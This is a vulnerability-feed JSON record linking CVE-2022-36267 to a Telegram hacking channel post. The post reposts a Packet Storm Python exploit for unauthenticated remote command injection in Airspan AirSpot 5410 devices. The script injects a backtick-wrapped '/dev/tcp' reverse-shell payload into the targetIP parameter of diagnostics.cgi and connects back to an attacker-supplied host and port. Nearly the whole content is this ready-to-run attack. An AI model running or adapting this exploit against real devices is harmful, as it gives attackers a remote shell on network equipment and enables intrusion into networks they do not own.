{"uuid": "5b9df576-ef8a-4514-a1ac-9bcd53c0b0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:26.430782Z"}